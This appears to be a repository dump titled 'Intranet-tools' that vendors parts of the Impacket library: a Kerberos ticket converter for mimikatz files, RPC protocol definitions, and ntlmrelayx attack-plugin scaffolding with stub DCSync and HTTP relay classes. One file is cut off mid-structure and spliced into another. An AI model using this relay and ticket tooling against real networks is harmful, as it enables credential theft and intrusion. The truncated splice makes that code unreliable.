1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket,
12 | # and vice versa.
13 | #
14 | # Examples:
15 | # ./ticket_converter.py admin.ccache admin.kirbi
16 | # ./ticket_converter.py admin.kirbi admin.ccache
17 | #
18 | # Author:
19 | # Zer1t0 (https://github.com/Zer1t0)
20 | #
21 | # References:
22 | # - https://tools.ietf.org/html/rfc4120
23 | # - http://web.mit.edu/KERBEROS/krb5-devel/doc/formats/ccache_file_format.html
24 | # - https://github.com/gentilkiwi/kekeo
25 | # - https://github.com/rvazarkar/KrbCredExport
26 | #
27 |
28 | import argparse
29 | import struct
30 |
31 | from impacket import version
32 | from impacket.krb5.ccache import CCache
33 |
34 |
35 | def parse_args():
36 | parser = argparse.ArgumentParser()
37 | parser.add_argument('input_file', help="File in kirbi (KRB-CRED) or ccache format")
38 | parser.add_argument('output_file', help="Output file")
39 | return parser.parse_args()
40 |
41 |
42 | def main():
43 | print(version.BANNER)
44 |
45 | args = parse_args()
46 |
47 | if is_kirbi_file(args.input_file):
48 | print('[*] converting kirbi to ccache...')
49 | convert_kirbi_to_ccache(args.input_file, args.output_file)
50 | print('[+] done')
51 | elif is_ccache_file(args.input_file):
52 | print('[*] converting ccache to kirbi...')
53 | convert_ccache_to_kirbi(args.input_file, args.output_file)
54 | print('[+] done')
55 | else:
56 | print('[X] unknown file format')
57 |
58 |
59 | def is_kirbi_file(filename):
60 | with open(filename, 'rb') as fi:
61 | fileid = struct.unpack(">B", fi.read(1))[0]
62 | return fileid == 0x76
63 |
64 |
65 | def is_ccache_file(filename):
66 | with open(filename, 'rb') as fi:
67 | fileid = struct.unpack(">B", fi.read(1))[0]
68 | return fileid == 0x5
69 |
70 |
71 | def convert_kirbi_to_ccache(input_filename, output_filename):
72 | ccache = CCache.loadKirbiFile(input_filename)
73 | ccache.saveFile(output_filename)
74 |
75 |
76 | def convert_ccache_to_kirbi(input_filename, output_filename):
77 | ccache = CCache.loadFile(input_filename)
78 | ccache.saveKirbiFile(output_filename)
79 |
80 |
81 | if __name__ == '__main__':
82 | main()
83 |
--------------------------------------------------------------------------------
/plugins/impacket/Dot11Crypto.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # IEEE 802.11 Network packet codecs.
11 | #
12 | # Author:
13 | # Gustavo Moreira
14 | #
15 |
16 | class RC4():
17 | def __init__(self, key):
18 | bkey = bytearray(key)
19 | j = 0
20 | self.state = bytearray(range(256))
21 | for i in range(256):
22 | j = (j + self.state[i] + bkey[i % len(key)]) & 0xff
23 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)
24 |
25 | def encrypt(self, data):
26 | i = j = 0
27 | out=bytearray()
28 | for char in bytearray(data):
29 | i = (i+1) & 0xff
30 | j = (j+self.state[i]) & 0xff
31 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)
32 | out.append(char ^ self.state[(self.state[i] + self.state[j]) & 0xff])
33 |
34 | return bytes(out)
35 |
36 | def decrypt(self, data):
37 | # It's symmetric
38 | return self.encrypt(data)
39 |
--------------------------------------------------------------------------------
/plugins/impacket/Dot11KeyManager.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # IEEE 802.11 Network packet codecs.
11 | #
12 | # Author:
13 | # Gustavo Moreira
14 |
15 | from array import array
16 | class KeyManager:
17 | def __init__(self):
18 | self.keys = {}
19 |
20 | def __get_bssid_hasheable_type(self, bssid):
21 | # List is an unhashable type
22 | if not isinstance(bssid, (list,tuple,array)):
23 | raise Exception('BSSID datatype must be a tuple, list or array')
24 | return tuple(bssid)
25 |
26 | def add_key(self, bssid, key):
27 | bssid=self.__get_bssid_hasheable_type(bssid)
28 | if bssid not in self.keys:
29 | self.keys[bssid] = key
30 | return True
31 | else:
32 | return False
33 |
34 | def replace_key(self, bssid, key):
35 | bssid=self.__get_bssid_hasheable_type(bssid)
36 | self.keys[bssid] = key
37 |
38 | return True
39 |
40 | def get_key(self, bssid):
41 | bssid=self.__get_bssid_hasheable_type(bssid)
42 | if bssid in self.keys:
43 | return self.keys[bssid]
44 | else:
45 | return False
46 |
47 | def delete_key(self, bssid):
48 | bssid=self.__get_bssid_hasheable_type(bssid)
49 | if not isinstance(bssid, list):
50 | raise Exception('BSSID datatype must be a list')
51 |
52 | if bssid in self.keys:
53 | del self.keys[bssid]
54 | return True
55 |
56 | return False
57 |
--------------------------------------------------------------------------------
/plugins/impacket/__init__.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Author:
10 | # Alberto Solino (@agsolino)
11 | #
12 |
13 | # Set default logging handler to avoid "No handler found" warnings.
14 | import logging
15 | try: # Python 2.7+
16 | from logging import NullHandler
17 | except ImportError:
18 | class NullHandler(logging.Handler):
19 | def emit(self, record):
20 | pass
21 |
22 | # All modules inside this library MUST use this logger (impacket)
23 | # It is up to the library consumer to do whatever is wanted
24 | # with the logger output. By default it is forwarded to the
25 | # upstream logger
26 |
27 | LOG = logging.getLogger(__name__)
28 | LOG.addHandler(NullHandler())
29 |
--------------------------------------------------------------------------------
/plugins/impacket/dcerpc/__init__.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | pass
10 |
--------------------------------------------------------------------------------
/plugins/impacket/dcerpc/v5/__init__.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | pass
10 |
--------------------------------------------------------------------------------
/plugins/impacket/dcerpc/v5/bkrp.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # [MS-BKRP] Interface implementation
11 | #
12 | # Best way to learn how to use these calls is to grab the protocol standard
13 | # so you understand what the call does, and then read the test case located
14 | # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC
15 | #
16 | # Some calls have helper functions, which makes it even easier to use.
17 | # They are located at the end of this file.
18 | # Helper functions start with "h".
19 | # There are test cases for them too.
20 | #
21 | # Author:
22 | # Alberto Solino (@agsolino)
23 | #
24 | # ToDo:
25 | # [ ] 2.2.2 Client-Side-Wrapped Secret
26 | #
27 |
28 | from __future__ import division
29 | from __future__ import print_function
30 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray
31 | from impacket.dcerpc.v5.dtypes import DWORD, NTSTATUS, GUID, RPC_SID, NULL
32 | from impacket.dcerpc.v5.rpcrt import DCERPCException
33 | from impacket import system_errors
34 | from impacket.uuid import uuidtup_to_bin, string_to_bin
35 | from impacket.structure import Structure
36 |
37 | MSRPC_UUID_BKRP = uuidtup_to_bin(('3dde7c30-165d-11d1-ab8f-00805f14db40', '1.0'))
38 |
39 | class DCERPCSessionError(DCERPCException):
40 | def __init__(self, error_string=None, error_code=None, packet=None):
41 | DCERPCException.__init__(self, error_string, error_code, packet)
42 |
43 | def __str__( self ):
44 | key = self.error_code
45 | if key in system_errors.ERROR_MESSAGES:
46 | error_msg_short = system_errors.ERROR_MESSAGES[key][0]
47 | error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
48 | return 'BKRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
49 | else:
50 | return 'BKRP SessionError: unknown error code: 0x%x' % self.error_code
51 |
52 | ################################################################################
53 | # CONSTANTS
54 | ################################################################################
55 |
56 | BACKUPKEY_BACKUP_GUID = string_to_bin("7F752B10-178E-11D1-AB8F-00805F14DB40")
57 | BACKUPKEY_RESTORE_GUID_WIN2K = string_to_bin("7FE94D50-178E-11D1-AB8F-00805F14DB40")
58 | BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID = string_to_bin("018FF48A-EABA-40C6-8F6D-72370240E967")
59 | BACKUPKEY_RESTORE_GUID = string_to_bin("47270C64-2FC7-499B-AC5B-0E37CDCE899A")
60 |
61 | ################################################################################
62 | # STRUCTURES
63 | ################################################################################
64 | class BYTE_ARRAY(NDRUniConformantArray):
65 | item = 'c'
66 |
67 | class PBYTE_ARRAY(NDRPOINTER):
68 | referent = (
69 | ('Data', BYTE_ARRAY),
70 | )
71 |
72 | # 2.2.4.1 Rc4EncryptedPayload Structure
73 | class Rc4EncryptedPayload(Structure):
74 | structure = (
75 | ('R3', '32s=""'),
76 | ('MAC', '20s=""'),
77 | ('SID', ':', RPC_SID),
78 | ('Secret', ':'),
79 | )
80 |
81 | # 2.2.4 Secret Wrapped with Symmetric Key
82 | class WRAPPED_SECRET(Structure):
83 | structure = (
84 | ('SIGNATURE', '.
19 | # There are test cases for them too.
20 | #
21 | # Author:
22 | # Alberto Solino (@agsolino)
23 | #
24 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray
25 | from impacket.dcerpc.v5.epm import PRPC_IF_ID
26 | from impacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG
27 | from impacket.dcerpc.v5.rpcrt import DCERPCException
28 | from impacket.uuid import uuidtup_to_bin
29 | from impacket import nt_errors
30 |
31 | MSRPC_UUID_MGMT = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0'))
32 |
33 | class DCERPCSessionError(DCERPCException):
34 | def __init__(self, error_string=None, error_code=None, packet=None):
35 | DCERPCException.__init__(self, error_string, error_code, packet)
36 |
37 | def __str__( self ):
38 | key = self.error_code
39 | if key in nt_errors.ERROR_MESSAGES:
40 | error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
41 | error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
42 | return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
43 | else:
44 | return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code
45 |
46 | ################################################################################
47 | # CONSTANTS
48 | ################################################################################
49 |
50 | class rpc_if_id_p_t_array(NDRUniConformantArray):
51 | item = PRPC_IF_ID
52 |
53 | class rpc_if_id_vector_t(NDRSTRUCT):
54 | structure = (
55 | ('count',ULONG),
56 | ('if_id',rpc_if_id_p_t_array),
57 | )
58 | structure64 = (
59 | ('count',ULONGLONG),
60 | ('if_id',rpc_if_id_p_t_array),
61 | )
62 |
63 | class rpc_if_id_vector_p_t(NDRPOINTER):
64 | referent = (
65 | ('Data', rpc_if_id_vector_t),
66 | )
67 |
68 | error_status = ULONG
69 | ################################################################################
70 | # STRUCTURES
71 | ################################################################################
72 |
73 | ################################################################################
74 | # RPC CALLS
75 | ################################################################################
76 | class inq_if_ids(NDRCALL):
77 | opnum = 0
78 | structure = (
79 | )
80 |
81 | class inq_if_idsResponse(NDRCALL):
82 | structure = (
83 | ('if_id_vector', rpc_if_id_vector_p_t),
84 | ('status', error_status),
85 | )
86 |
87 | class inq_stats(NDRCALL):
88 | opnum = 1
89 | structure = (
90 | ('count', ULONG),
91 | )
92 |
93 | class inq_statsResponse(NDRCALL):
94 | structure = (
95 | ('count', ULONG),
96 | ('statistics', DWORD_ARRAY),
97 | ('status', error_status),
98 | )
99 |
100 | class is_server_listening(NDRCALL):
101 | opnum = 2
102 | structure = (
103 | )
104 |
105 | class is_server_listeningResponse(NDRCALL):
106 | structure = (
107 | ('status', error_status),
108 | )
109 |
110 | class stop_server_listening(NDRCALL):
111 | opnum = 3
112 | structure = (
113 | )
114 |
115 | class stop_server_listeningResponse(NDRCALL):
116 | structure = (
117 | ('status', error_status),
118 | )
119 |
120 | class inq_princ_name(NDRCALL):
121 | opnum = 4
122 | structure = (
123 | ('authn_proto', ULONG),
124 | ('princ_name_size', ULONG),
125 | )
126 |
127 | class inq_princ_nameResponse(NDRCALL):
128 | structure = (
129 | ('princ_name', NDRUniConformantVaryingArray),
130 | ('status', error_status),
131 | )
132 |
133 |
134 | ################################################################################
135 | # OPNUMs and their corresponding structures
136 | ################################################################################
137 | OPNUMS = {
138 | 0 : (inq_if_ids, inq_if_idsResponse),
139 | 1 : (inq_stats, inq_statsResponse),
140 | 2 : (is_server_listening, is_server_listeningResponse),
141 | 3 : (stop_server_listening, stop_server_listeningResponse),
142 | 4 : (inq_princ_name, inq_princ_nameResponse),
143 | }
144 |
145 | ################################################################################
146 | # HELPER FUNCTIONS
147 | ################################################################################
148 | def hinq_if_ids(dce):
149 | request = inq_if_ids()
150 | return dce.request(request)
151 |
152 | def hinq_stats(dce, count = 4):
153 | request = inq_stats()
154 | request['count'] = count
155 | return dce.request(request)
156 |
157 | def his_server_listening(dce):
158 | request = is_server_listening()
159 | return dce.request(request, checkError=False)
160 |
161 | def hstop_server_listening(dce):
162 | request = stop_server_listening()
163 | return dce.request(request)
164 |
165 | def hinq_princ_name(dce, authn_proto=0, princ_name_size=1):
166 | request = inq_princ_name()
167 | request['authn_proto'] = authn_proto
168 | request['princ_name_size'] = princ_name_size
169 | return dce.request(request, checkError=False)
170 |
--------------------------------------------------------------------------------
/plugins/impacket/dcerpc/v5/oxabref.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # [MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol
11 | #
12 | # Author:
13 | # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/)
14 | #
15 |
16 | from impacket import hresult_errors, mapi_constants
17 | from impacket.dcerpc.v5.dtypes import NULL, STR, ULONG
18 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER
19 | from impacket.dcerpc.v5.rpcrt import DCERPCException
20 | from impacket.uuid import uuidtup_to_bin
21 |
22 | MSRPC_UUID_OXABREF = uuidtup_to_bin(('1544F5E0-613C-11D1-93DF-00C04FD7BD09','1.0'))
23 |
24 | class DCERPCSessionError(DCERPCException):
25 | def __init__(self, error_string=None, error_code=None, packet=None):
26 | DCERPCException.__init__(self, error_string, error_code, packet)
27 |
28 | def __str__( self ):
29 | key = self.error_code
30 | if key in mapi_constants.ERROR_MESSAGES:
31 | error_msg_short = mapi_constants.ERROR_MESSAGES[key]
32 | return 'OXABREF SessionError: code: 0x%x - %s' % (self.error_code, error_msg_short)
33 | elif key in hresult_errors.ERROR_MESSAGES:
34 | error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
35 | error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
36 | return 'OXABREF SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
37 | else:
38 | return 'OXABREF SessionError: unknown error code: 0x%x' % self.error_code
39 |
40 | ################################################################################
41 | # STRUCTURES
42 | ################################################################################
43 | class PUCHAR_ARRAY(NDRPOINTER):
44 | referent = (
45 | ('Data', STR),
46 | )
47 |
48 | class PPUCHAR_ARRAY(NDRPOINTER):
49 | referent = (
50 | ('Data', PUCHAR_ARRAY),
51 | )
52 |
53 | ################################################################################
54 | # RPC CALLS
55 | ################################################################################
56 |
57 | # 3.1.4.1 RfrGetNewDSA (opnum 0)
58 | class RfrGetNewDSA(NDRCALL):
59 | opnum = 0
60 | structure = (
61 | ('ulFlags', ULONG),
62 | ('pUserDN', STR),
63 | ('ppszUnused', PPUCHAR_ARRAY),
64 | ('ppszServer', PPUCHAR_ARRAY),
65 | )
66 |
67 | class RfrGetNewDSAResponse(NDRCALL):
68 | structure = (
69 | ('ppszUnused', PPUCHAR_ARRAY),
70 | ('ppszServer', PPUCHAR_ARRAY),
71 | )
72 |
73 | # 3.1.4.2 RfrGetFQDNFromServerDN (opnum 1)
74 | class RfrGetFQDNFromServerDN(NDRCALL):
75 | opnum = 1
76 | structure = (
77 | ('ulFlags', ULONG),
78 | ('cbMailboxServerDN', ULONG),
79 | ('szMailboxServerDN', STR),
80 | )
81 |
82 | class RfrGetFQDNFromServerDNResponse(NDRCALL):
83 | structure = (
84 | ('ppszServerFQDN', PUCHAR_ARRAY),
85 | ('ErrorCode', ULONG),
86 | )
87 |
88 | ################################################################################
89 | # OPNUMs and their corresponding structures
90 | ################################################################################
91 | OPNUMS = {
92 | 0 : (RfrGetNewDSA, RfrGetNewDSAResponse),
93 | 1 : (RfrGetFQDNFromServerDN, RfrGetFQDNFromServerDNResponse),
94 | }
95 |
96 | ################################################################################
97 | # HELPER FUNCTIONS
98 | ################################################################################
99 | def checkNullString(string):
100 | if string == NULL:
101 | return string
102 |
103 | if string[-1:] != '\x00':
104 | return string + '\x00'
105 | else:
106 | return string
107 |
108 | def hRfrGetNewDSA(dce, pUserDN=''):
109 | request = RfrGetNewDSA()
110 | request['ulFlags'] = 0
111 | request['pUserDN'] = checkNullString(pUserDN)
112 | request['ppszUnused'] = NULL
113 | request['ppszServer'] = '\x00'
114 |
115 | resp = dce.request(request)
116 | resp['ppszServer'] = resp['ppszServer'][:-1]
117 |
118 | if request['ppszUnused'] != NULL:
119 | resp['ppszUnused'] = resp['ppszUnused'][:-1]
120 |
121 | return resp
122 |
123 | def hRfrGetFQDNFromServerDN(dce, szMailboxServerDN):
124 | szMailboxServerDN = checkNullString(szMailboxServerDN)
125 | request = RfrGetFQDNFromServerDN()
126 | request['ulFlags'] = 0
127 | request['szMailboxServerDN'] = szMailboxServerDN
128 | request['cbMailboxServerDN'] = len(szMailboxServerDN)
129 |
130 | resp = dce.request(request)
131 | resp['ppszServerFQDN'] = resp['ppszServerFQDN'][:-1]
132 |
133 | return resp
134 |
--------------------------------------------------------------------------------
/plugins/impacket/eap.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # EAP packets
11 | #
12 | # Author:
13 | # Aureliano Calvo
14 | #
15 |
16 | from impacket.helper import ProtocolPacket, Byte, Word, Long, ThreeBytesBigEndian
17 |
18 | DOT1X_AUTHENTICATION = 0x888E
19 |
20 | class EAPExpanded(ProtocolPacket):
21 | """EAP expanded data according to RFC 3748, section 5.7"""
22 |
23 | WFA_SMI = 0x00372a
24 | SIMPLE_CONFIG = 0x00000001
25 |
26 | header_size = 7
27 | tail_size = 0
28 |
29 | vendor_id = ThreeBytesBigEndian(0)
30 | vendor_type = Long(3, ">")
31 |
32 | class EAPR(ProtocolPacket):
33 | """It represents a request or a response in EAP (codes 1 and 2)"""
34 |
35 | IDENTITY = 0x01
36 | EXPANDED = 0xfe
37 |
38 | header_size = 1
39 | tail_size = 0
40 |
41 | type = Byte(0)
42 |
43 | class EAP(ProtocolPacket):
44 | REQUEST = 0x01
45 | RESPONSE = 0x02
46 | SUCCESS = 0x03
47 | FAILURE = 0x04
48 |
49 | header_size = 4
50 | tail_size = 0
51 |
52 | code = Byte(0)
53 | identifier = Byte(1)
54 | length = Word(2, ">")
55 |
56 | class EAPOL(ProtocolPacket):
57 | EAP_PACKET = 0x00
58 | EAPOL_START = 0x01
59 | EAPOL_LOGOFF = 0x02
60 | EAPOL_KEY = 0x03
61 | EAPOL_ENCAPSULATED_ASF_ALERT = 0x04
62 |
63 | DOT1X_VERSION = 0x01
64 |
65 | header_size = 4
66 | tail_size = 0
67 |
68 | version = Byte(0)
69 | packet_type = Byte(1)
70 | body_length = Word(2, ">")
71 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/__init__.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | pass
10 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/logger.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # This logger is intended to be used by impacket instead
11 | # of printing directly. This will allow other libraries to use their
12 | # custom logging implementation.
13 | #
14 |
15 | import logging
16 | import sys
17 |
18 | # This module can be used by scripts using the Impacket library
19 | # in order to configure the root logger to output events
20 | # generated by the library with a predefined format
21 |
22 | # If the scripts want to generate log entries, they can write
23 | # directly to the root logger (logging.info, debug, etc).
24 |
25 | class ImpacketFormatter(logging.Formatter):
26 | '''
27 | Prefixing logged messages through the custom attribute 'bullet'.
28 | '''
29 | def __init__(self):
30 | logging.Formatter.__init__(self,'%(bullet)s %(message)s', None)
31 |
32 | def format(self, record):
33 | if record.levelno == logging.INFO:
34 | record.bullet = '[*]'
35 | elif record.levelno == logging.DEBUG:
36 | record.bullet = '[+]'
37 | elif record.levelno == logging.WARNING:
38 | record.bullet = '[!]'
39 | else:
40 | record.bullet = '[-]'
41 |
42 | return logging.Formatter.format(self, record)
43 |
44 | class ImpacketFormatterTimeStamp(ImpacketFormatter):
45 | '''
46 | Prefixing logged messages through the custom attribute 'bullet'.
47 | '''
48 | def __init__(self):
49 | logging.Formatter.__init__(self,'[%(asctime)-15s] %(bullet)s %(message)s', None)
50 |
51 | def formatTime(self, record, datefmt=None):
52 | return ImpacketFormatter.formatTime(self, record, datefmt="%Y-%m-%d %H:%M:%S")
53 |
54 | def init(ts=False):
55 | # We add a StreamHandler and formatter to the root logger
56 | handler = logging.StreamHandler(sys.stdout)
57 | if not ts:
58 | handler.setFormatter(ImpacketFormatter())
59 | else:
60 | handler.setFormatter(ImpacketFormatterTimeStamp())
61 | logging.getLogger().addHandler(handler)
62 | logging.getLogger().setLevel(logging.INFO)
63 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/__init__.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | pass
10 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/attacks/__init__.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # Protocol Attack Base Class definition
11 | # Defines a base class for all attacks + loads all available modules
12 | #
13 | # Author:
14 | # Alberto Solino (@agsolino)
15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
16 | #
17 | import os, sys
18 | import pkg_resources
19 | from impacket import LOG
20 | from threading import Thread
21 |
22 | PROTOCOL_ATTACKS = {}
23 |
24 | # Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc)
25 | # Besides using this base class you need to define one global variable when
26 | # writing a plugin for protocol clients:
27 | # PROTOCOL_ATTACK_CLASS = ""
28 | # or (to support multiple classes in one file)
29 | # PROTOCOL_ATTACK_CLASSES = ["", ""]
30 | # These classes must have the attribute PLUGIN_NAMES which is a list of protocol names
31 | # that will be matched later with the relay targets (e.g. SMB, LDAP, etc)
32 | class ProtocolAttack(Thread):
33 | PLUGIN_NAMES = ['PROTOCOL']
34 | def __init__(self, config, client, username):
35 | Thread.__init__(self)
36 | # Set threads as daemon
37 | self.daemon = True
38 | self.config = config
39 | self.client = client
40 | # By default we only use the username and remove the domain
41 | self.username = username.split('/')[1]
42 |
43 | def run(self):
44 | raise RuntimeError('Virtual Function')
45 |
46 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'):
47 | if file.find('__') >= 0 or file.endswith('.py') is False:
48 | continue
49 | # This seems to be None in some case (py3 only)
50 | # __spec__ is py3 only though, but I haven't seen this being None on py2
51 | # so it should cover all cases.
52 | try:
53 | package = __spec__.name # Python 3
54 | except NameError:
55 | package = __package__ # Python 2
56 | __import__(package + '.' + os.path.splitext(file)[0])
57 | module = sys.modules[package + '.' + os.path.splitext(file)[0]]
58 | try:
59 | pluginClasses = set()
60 | try:
61 | if hasattr(module, 'PROTOCOL_ATTACK_CLASSES'):
62 | # Multiple classes
63 | for pluginClass in module.PROTOCOL_ATTACK_CLASSES:
64 | pluginClasses.add(getattr(module, pluginClass))
65 | else:
66 | # Single class
67 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS')))
68 | except Exception as e:
69 | LOG.debug(e)
70 | pass
71 |
72 | for pluginClass in pluginClasses:
73 | for pluginName in pluginClass.PLUGIN_NAMES:
74 | LOG.debug('Protocol Attack %s loaded..' % pluginName)
75 | PROTOCOL_ATTACKS[pluginName] = pluginClass
76 | except Exception as e:
77 | LOG.debug(str(e))
78 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/attacks/dcsyncattack.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # HTTP Attack Class
11 | # HTTP protocol relay attack
12 | #
13 | # Authors:
14 | # Alberto Solino (@agsolino)
15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
16 | #
17 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
18 | from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes
19 |
20 | PROTOCOL_ATTACK_CLASS = "DCSYNCAttack"
21 |
22 | class DCSYNCAttack(ProtocolAttack):
23 | """
24 | This is the default HTTP attack. This attack only dumps the root page, though
25 | you can add any complex attack below. self.client is an instance of urrlib.session
26 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply
27 | proxy through ntlmrelayx
28 | """
29 | PLUGIN_NAMES = ["DCSYNC"]
30 | def run(self):
31 | return
32 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/attacks/httpattack.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # HTTP Attack Class
11 | # HTTP protocol relay attack
12 | #
13 | # Authors:
14 | # Alberto Solino (@agsolino)
15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
16 | # Ex Android Dev (@ExAndroidDev)
17 |
18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
19 | from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
20 |
21 | PROTOCOL_ATTACK_CLASS = "HTTPAttack"
22 |
23 |
24 | class HTTPAttack(ProtocolAttack, ADCSAttack):
25 | """
26 | This is the default HTTP attack. This attack only dumps the root page, though
27 | you can add any complex attack below. self.client is an instance of urrlib.session
28 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply
29 | proxy through ntlmrelayx
30 | """
31 | PLUGIN_NAMES = ["HTTP", "HTTPS"]
32 |
33 | def run(self):
34 |
35 | if self.config.isADCSAttack:
36 | ADCSAttack._run(self)
37 | else:
38 | # Default action: Dump requested page to file, named username-targetname.html
39 | # You can also request any page on the server via self.client.session,
40 | # for example with:
41 | self.client.request("GET", "/")
42 | r1 = self.client.getresponse()
43 | print(r1.status, r1.reason)
44 | data1 = r1.read()
45 | print(data1)
46 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/plugins/impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py:
--------------------------------------------------------------------------------
